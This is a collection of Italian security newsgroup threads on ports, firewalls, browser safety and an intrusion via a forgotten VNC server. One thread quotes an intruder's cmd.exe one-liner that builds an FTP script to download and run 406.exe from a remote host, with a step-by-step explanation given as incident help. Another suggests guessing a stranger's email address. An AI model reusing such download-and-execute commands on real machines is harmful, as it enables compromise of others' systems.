I like my sugar with coffee and cream - Intergalactic/Beastie Boys
  _.?'?'?._.?'?'?._.?'?'?._.?'?'?._.?'?'?._.?'?'?._.?'?'?._.?'?'?._
 | IRC Nick in Undernet su #MITICI: Veleno                         |
 | ICQ UIN: 8033698                                                |
 | 1? email: 
tonyN...@telenia.it
                                 |
 | Homepage: 
http://www.geocities.com/TimesSquare/Labyrinth/6657/
  |
 '--------[NOSPAM: misura antispamming, toglierlo per rispondere]--'

Newsgroup: it.comp.sicurezza.varie
Titolo: Trojan...questa e' "carina"...

http://www.securityfocus.com/headlines/11428
-- 
Inviato il gio 17 mag 2001 16:39:17 CEST da 212.177.57.193
[212.177.57.193]
http://www.neuromante.net/

 
http://www.securityfocus.com/headlines/11428
wow!
puo' pure consentire l'overclock della cpu da parte del
simpaticone di turno? : )
conosco gente che si farebbe infettare per riuscirci..
-- 
Saluti
Leonardo
GnuPG Key fingerprint = 52EF E2B2 7FF0 BA8B 32F0  9FE7 15D6 2A3E 4C01 B400
	    ***togli ZOZZONI per rispondermi in privato*** 

 conosco gente che si farebbe infettare per riuscirci..
LOL!
Giuro che, se non l'avessi trovato su securityfocus, non gli
avrei dato alcuna credibilita'...:-)
-- 
Inviato il ven 18 mag 2001 10:34:24 CEST da 212.177.57.193
[212.177.57.193]
http://www.neuromante.net/
Newsgroup: it.comp.sicurezza.varie
Titolo: Log netstat w2000.

Sto testando w2000 e mi trovo tante porte aperte di default, come posso
chiuderle?
Grazie.
TCP 
0.0.0.0:135
 
0.0.0.0:0
 LISTENING
TCP 
0.0.0.0:445
 
0.0.0.0:0
 LISTENING
TCP 
0.0.0.0:1025
 
0.0.0.0:0
 LISTENING
TCP 
0.0.0.0:1026
 
0.0.0.0:0
 LISTENING
TCP 
0.0.0.0:1451
 
0.0.0.0:0
 LISTENING
UDP 
0.0.0.0:445
 *:*
UDP 
127.0.0.1:1382
 *:*

chiuderle?
Per le porte 135,445,1025 vedi
http://groups.google.com/groups?hl=it&th=14afbe30cacfacb7
Per le altre prova a vedere cosa ti dice ActivePorts
(
www.webattack.com/get/activeports.shtml
)
-- 
Lapalissiano
Icq 57269703


C'è mica niente di simile per Win98 ?
-- 
Do you Iahoo ? No, I Yahoo !

C'è mica niente di simile per Win98 ?
Puoi provare Tdimon (
www.sysinternals.com
) ma e' poco simile. Ottieni
risultati simili con un personal firewall.
 
-- 
Lapalissiano
Icq 57269703

Newsgroup: it.comp.sicurezza.varie
Titolo: angel

sapete niente di sto coso che dovrebbe evitare pure il morbillo quasi
quasi? ;-) non vorrei servisse proprio al contrario...
http://www.sikurezza.org:8000/angel/
-- 
Configura internet, junkbuster, fetchmail, procmail, leafnode, firewall,
dns, wwwoffle, postfix, mutt, slrn, kernel, ed altro, visitando il sito:
http://mrshark.sourceforge.net
 od 
http://mrshark.cjb.net
 e scaricando il
"Quick&Easy Configuration Howto". Cosenza LUG: IRC: 
irc.openprojects.net
canale #cslug - Mailing-list: 
http://www.linux.it/mailman/listinfo/cslug

 
http://www.sikurezza.org:8000/angel/
attento pero' che serve per impedire che da quella macchina (dove e' installato) partano attacchi.
e' utile per difendersi dagli attacchi in locare, ma non ti difende da quelli remoti.
diciamo che difende gli altri dai tuoi attacchi remoti... ;)
bye

Newsgroup: it.comp.sicurezza.varie
Titolo: problema

uando installo zonaalarm ho dei problemi con la connesione cil quale dice
che non riesce a trovare il 
servermail.libero.it
 Allora devo sempre
disinsttallare ZA!cosa devo fare?vi prego aiutatemi?ciao a tuttti!
Dario

 dice che non riesce a trovare il 
servermail.libero.it
consenti l'uso di outlook e/o non bloccare il servizio smpt e pop3

Newsgroup: it.comp.sicurezza.varie
Titolo: TESTTTTTTTTTTTTTTTT

TESTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TESTTTTTTTTTTTTTTTTTTTTTTTTTTTT
de cazz ??
-- 
sgas

 TESTTTTTTTTTTTTTTTTTTTTTTTTTTTT
-ato clinicamente che sei una test-a di cazzo :)

 TESTTTTTTTTTTTTTTTTTTTTTTTTTTTT
Occhio!!! Ti si è bloccata la T nella tastiera....è il famoso virus T-LEZ.
Guarda,   se ci provo io non succede nula: TEST
Usa Torton AntiTiruz
In bocca al Tupo.
Newsgroup: it.comp.sicurezza.varie
Titolo: Me la sono cercata...

Ciao a tutti, innanzitutto, e perdonate la mia niubbaggine.
Su un Pc (che uso pochissimo) della mia rete mi sono dimenticato di 
disattivare il VNC server.
Dopo qualche giorno di utilizzo da parte di un utente, nell'event viewer ho 
notato che questo pc ha subito un paio di accessi "indesiderati".
Nella cronologia ho visto che è stato lanciato questo comando:
cmd.exe /c del i&echo open <*ipdell'incursore*> 19419 > i&echo user 1 1 >> i 
&echo get 406.exe >> i &echo quit >> i &ftp -n -s:i &406.exe&del i&exit
Non essendo, come detto sopra, un esperto, non riesco a capire 
*precisamente* cos'è stato fatto.
Mi pare che il tizio abbia uploadato sul pc il file 406.exe, ma non ne sono 
certo, perciò chiedo il vostro aiuto.
Ah, nel frattempo ho disabilitato il VNC...
Grazie in anticipo a chi mi vorrà dare una mano.
Tyler 

 &echo get 406.exe >> i &echo quit >> i &ftp -n -s:i &406.exe&del i&exit
Il comando crea lo script file "i", che contiene:
open <ip> 19419
user 1 (pass) 1
get 406.exe
quit
quindi lancia il comando ftp, che preleva il file 406.exe;
lo lancia in memoria;
cancella lo script "i";
infine termina.
Avvia in modalita' provvisoria e scansiona a fondo la macchina con un 
antivirus e antispyware tosto.
Ciao
Luca

 la macchina con un antivirus e antispyware tosto.
già; anche perchè quello è il "reptile" rootkit e si tratta
di una BRUTTISSIMA bestia; quasi sicuramente in
questo momento quella macchina sta sparando spam


googlando, ho trovato questo, sperando sia utile
http://support.microsoft.com/?scid=kb;en-us;897079
[snip]
CAUSE
This problem may occur if the computer is infected with a variant of the Sdbot virus.
[snip] 

certo, perciň chiedo il vostro aiuto.
Devi fare molte scansioni antivir con strumenti online, pccillin,
bitdefender, panda etc.
Ciao!
Newsgroup: it.comp.sicurezza.varie
Titolo: Aiuto - Videosorveglianza

Salve, avrei bisogno di aiuto riguardo ad un sistema di videocamere x 
videosorveglianza. Vorrei sapere se è possibile effettuarla acquisendo su pc 
(con una scheda di acquisizione analogica) e con una classica telecamerina 
b/n (non webcam). La prima cosa che voglio chiedere è se il segnale della 
telecamera è compatibile a quello che deve ricevere la scheda di 
acquisizione (video composito e s-video) o devo per forza usare una webcam. 
Il mio secondo dubbio è se poi posso settare un formato di acquisizione che 
nn occupi troppo spazio e che nel contempo mi dia una qualità decende (che 
mi faccio distinguere il viso) Pensavo al divx ma al di là del problema poi 
della conversione in tempo reale non credo che abbia una qualità 
soddisfacente (o sbaglio?). Grazie a tutti della pazienza e ciao. 


Che minchia c'entra un post del genere in it.comp.sicurezza.varie?????
Cmq.
Esistono in commercio vari produttori di schede di acquisizione video 
con vari prezzi e varie tecnologie.
Le migliori che ho provato sono le Osprey (200,220,500dv)e le grabster 
della Terratec  che riescono acqusire in qualsiasi formato usando la 
superficie che tu preferisci(rgb32,rgb24,i420,YUV ecc.ecc.), piu' entry 
level ,invece, anche come prezzi sono le pinnacle (il tutto via PCI e 
USB2.0).
Puoi anche usare alcune modelli dell'ATI che hanno tutto on board 
VGA/DVI,SVIDEO-OUT e SVIDEO-IN.
Il segnale di ingresso generelmente e un S-Video o un Composito e alcuni 
modelli piu' cari hanno anche il DV (Osprey 500).
Puoi acqusire in tempo reale usando il software (es virtual dub)che ti 
pare se la macchina e' prestante puoi anche chiedere al software di 
farti la conversione in tempo reale con XVID/DIVX in una sola passata li 
sta a te decidere qualita' e bitrate (e sempre una passata sola cmq).
Il formato di acquizizione andrebbe bene un CIF 352x288 (ma devi 
provarlo tu non so quanto devi videosorvegliare)..
Ciao
peppe

 videocamere x videosorveglianza. [...]
Se sei titolare di trattamento di dati personali (D.lgs. 196/03) fai
attenzione perche' quello che stai facendo con grande probabilita' non e'
permesso.
Prova prima a leggere il "provvedimento generale del Garante del 29 aprile
2004".
Saluti, Giorgio.

Newsgroup: it.comp.sicurezza.varie
Titolo: un aiuto per favore

salve a tutti...qualcuno sa dirmi se è possibile e come trovare un indirizzo
email in hotmail avendo nome e cognome della persona?..grazie a tutti

email in hotmail avendo nome e cognome della persona?..grazie a tutti
Puoi fare qualche tentativo:
nome.c...@hotmail.com
nomec...@hotmail.com
cognom...@hotmail.com
...alla via cosi.
-- 
Linux User ??
Ci provo !!
Per riuscirci: 
http://groups.google.com


Prova qui:
http://www.whowhere.lycos.com/
Ci sono altri servizi simili si internet, ma qui sei OT
--
They that can give up essential liberty to obtain a little
temporary safety deserve neither liberty nor safety
Newsgroup: it.comp.sicurezza.varie
Titolo: Infostrada

Ciao a tutti,
è possibile che ultimamente i ruoter di infostrada
(ADSL) siano stati settati per impedire che gli host
del proprio network si connettano sulle porte
139,445,135 di un altro host (qualsiasi ip su Internet) ??
Ciao e grazie

 139,445,135 di un altro host (qualsiasi ip su Internet) ??
Sě, tra il 15 e il 20 Agosto mandarono pure una newsletter

 139,445,135 di un altro host (qualsiasi ip su Internet) ??
Si, ed era anche ora.
HappyCactus che meglio tardi che mai.
-- 
HappyCactus - Linux User #209744 - 
 
www.google.com
 - 
groups.google.com



si sulla 139 non passa piů niente, prima la pagina iniziale obbligatoria,
adesso questa trovata, a me quelli di info stanno sempre + sul cazzo....
ciao

 cigolando ha scritto nel messaggio
news:DyY9b.322916$Ny5.10...@twister2.libero.it...

Con tutte le schifezze che girano ultimamente, avranno (giustamente) pensato
di applicare una policy anti-worm...
°°° Posted from X-Privat Free NNTP server - 
www.x-privat.org
 °°°

 139,445,135 di un altro host (qualsiasi ip su Internet) ??
spero di si, meno lameri per la rete :)
-- 
By Dmitry 



Posso capire, anche se non condivido il tuo punto di vista.
Personalmente questa politica ha creato notevoli disservizi,
a me la 135 serve per exchage e ora mi trovo a dover
pensare a VPN e altro per dialogare gli OL degli utenti con
Exchange.
Tutto questo per colpa di gente che usa password blank
e ha condivisioni del filesystem a disposizione di mezzo mondo.
Non condivido il lameraggio in generale, anzi mi sta proprio
sulle palle ma alcuni utonti se la cercano alla grande.
I servizi sulle porte in questione se patchati regolarmente e
protetti a livello di singole macchine con un semplice
firewall freeware sono al sicuro dal 99,9% dei lameroni
in circolazione. Saluti.

Newsgroup: it.comp.sicurezza.varie
Titolo: log iptables no mac address

C'e' modo di dire all'iptables (o al syslogd) di NON
loggare anche i mac address?
Mi aspetterei un cosa tipo:
iptables -A INPUT -j LOG --qualcosa
--cosa?
adessi infatti di default mi logga i anche i mac address.
Grazie per l'attenzione,
b.

 adessi infatti di default mi logga i anche i mac address.
Lui logga sempre i MAC. Il mac non lo vedi quando il pacchetto proviene da
interfaccie ppp, tunnel o simili
-- 
| /
| \Byte - Andrea Briganti - kbytesys(at)
tiscali.it
http://www.kbytesystem.fasturl.it
 - ICQ: 40872731
*** Chi non ha rispetto non merita considerazione
Newsgroup: it.comp.sicurezza.varie
Titolo: Indirizzo IP: AIUTO

Salve. il nostro firewall ci segnala che un certo IP tenta delle 
intrusioni.
COME FACCIO A SAPERE DI CHI E' ?

 COME FACCIO A SAPERE DI CHI E' ?
Fai una query sul ripe.
http://www.ripe.net/ripencc/pub-services/db/whois/whois.html
Sicuro che siano delle intrusioni?
mik_

 COME FACCIO A SAPERE DI CHI E' ?
chiedi a lullaby ;)
-- 
HappyCactus - Registered Linux User #209744
http://www.angelfire.com/jazz/happycactus/index.html
Made with 100% recycled electrons



Ti ringrazio. E' un link utilissimo.
L'indirizzo è intestato a TIN, li ho chiamati e a detta dell'operatore 
Telecom è normale, è 
TIN.IT
 che prova, direi rompe....non sono il primo ad 
aver chiamato...ma secondo voi che significa? Cosa fanno?
Il messagio del firewall dice:
..detected an Internet Protocol (IP) half-scan attack from IP address 
xxx.xxx.xxx.xxx

 xxx.xxx.xxx.xxx
Non è che sia molto chiaro come avviso... da che porta, su che porta?
Quando succede, cosa c'è di attivo?
eccetera eccetera...
-- 
Bye by V.

 Il messagio del firewall dice:
Aggiungo... nessuno amministra la vostra rete?
La sua dimensione mi pare giustifichi un addetto con le adeguate
conoscenze (ed adeguato stipendio).
-- 
Bye by V.

 xxx.xxx.xxx.xxx
Port Probing
mik_

 Ho le lacrime agli occhi....
E' un cactus, mica una cipolla...
-- 
Bye by V.

 E' un cactus, mica una cipolla...
Infatti mi sono punta :-P
PS: le lacrime sgorgavano per le mie risate.
-- 
Dilemma del programmatore
Programmare e' come il sesso: un errore e devi fornire supporto per
tutta la vita.

Newsgroup: it.comp.sicurezza.varie
Titolo: :-(((

Ricordate del'amici berlusco'!! :-///

 Ricordate del'amici berlusco'!! :-///
Le tue scuregge sulla politica valle a fare dove si parla di politica.
-- 
Saluti
Leonardo
GnuPG Key fingerprint = 52EF E2B2 7FF0 BA8B 32F0  9FE7 15D6 2A3E 4C01 B400
	    ***togli ZOZZONI per rispondermi in privato***
Newsgroup: it.comp.sicurezza.varie
Titolo: impostazioni per navigare con sicurezza

 
Mi consigliate quali impostazioni di internet explorer posso attivare
o disattivare per navigare in modo sicuro?
Vorrei in particolar modo evitare che mi si scarichino automaticamente
dialer, spyware e vari programmi dannosi.

per navigare in modo sicuro?
"Uninstall"
(Seriamente, IE ha una storia di sicurezza che definirei "tragica, con
penose sfumature di ridicolo tendenti all'assurdo")
Opera (
www.opera.com
) e' assai meglio, da quel punto di vista.
Leonardo
-- 
"Se e' vero che Linux in se' e' gratis, non lo sono le indispensabili
interfacce grafiche (X, KDE ecc.) che consentono alle persone normali
di utilizzarlo."                    -- Jason Matusow, Microsoft Corp.

 Leonard
Proprio oggi stavo leggendo che Opera ha un bug
pericoloso.........uno.......almeno uno.....

stella start ha scritto:

Mozilla sicuramente sicuro

Roby wrote:

confermo e rilancio con mozilla-firebird e aggiungo che alcune funzioni di
quei browser li han fatti preferire ad explorer a tutti quelli a cui li ho
(forzatamente) installati.
-- 
per leggere e postare su free.it.*:
http://infofreeit.altervista.org/polacco.zip

pericoloso.........uno.......almeno uno.....
"C'e'... nessuuuuunoooo? Uuuuuuhhhh... nessun doooormaaaaa..."
Avete sentito un bug all'Opera.
<voce fuori campo>
Opera. Ricco di features... povero di bug.
</voce fuori campo>
Leonardo riciclante una pubblicita' IHHO pallosissima


 
Ti consiglio di levare IE e mettere Mozilla...se vuoi essere sicuro

 "C'e'... nessuuuuunoooo? Uuuuuuhhhh... nessun doooormaaaaa..."
L'articolo lo ha scritto mio cuggino, quindi............ :-P


"internet explorer" e "navigare in modo sicuro" sono una contraddizione 
in termini. Ti consiglio Mozilla Firebird preceduto dal seguente:
http://www.litepc.com/
-- 
Oggi non mi sentivo molto bene e sarei dovuto andare dal medico, ma
siccome non mi sentivo molto bene non ci sono andato.

hai non ti si puo' aiutare e comunque, sempre la palla dice che avereun
6.0 con qualche patch

Opera (
www.opera.com
) e' assai meglio, da quel punto di vista.
Io sono passata ad opera da qualche mese e devo dire che mi trovo
molto bene.
--
Foolfolly
Newsgroup: it.comp.sicurezza.varie
Titolo: Rospo, il solito leccaculoide!!!

Leggetevi il titolo...
Abbasso BacaRospo (mazza, quanto sono provocatore...tipo Paolo Campione!!!
8)
ciao mondo
lorix
{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}
Secondo Principio della Termodinamica:
se fai bollire un'acquario ottieni una zuppa di pesce,
ma è molto difficile che raffreddando la zuppa di pesce
ritorni ad avere l' acquario
{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}

lorix
dice bene master quando ti chiama ridolini

...


appunto sei il solito leccaculoide...non perdi proprio occasione!!!
o sei un troll o sei veramente simpatico

o sei un troll o sei veramente simpatico
ahahahahah...ADDIRITTURA a questo arriva la tua simpatia, rospolo? Non
credevo avessi tutta questa fantasia ed ilarità repressa...bravo!!! Vedo che
i tuoi amici marpioni ti hanno forgiato a
puntino...ahahahahahahahahahahahahahahahahahahahahah
ciao
lorix
{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}
Questo è il luogo ideale per ritrovare se stessi. Perchè
prima ci si perde.
{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}

puntino...ahahahahahahahahahahahahahahahahahahahahah
così pare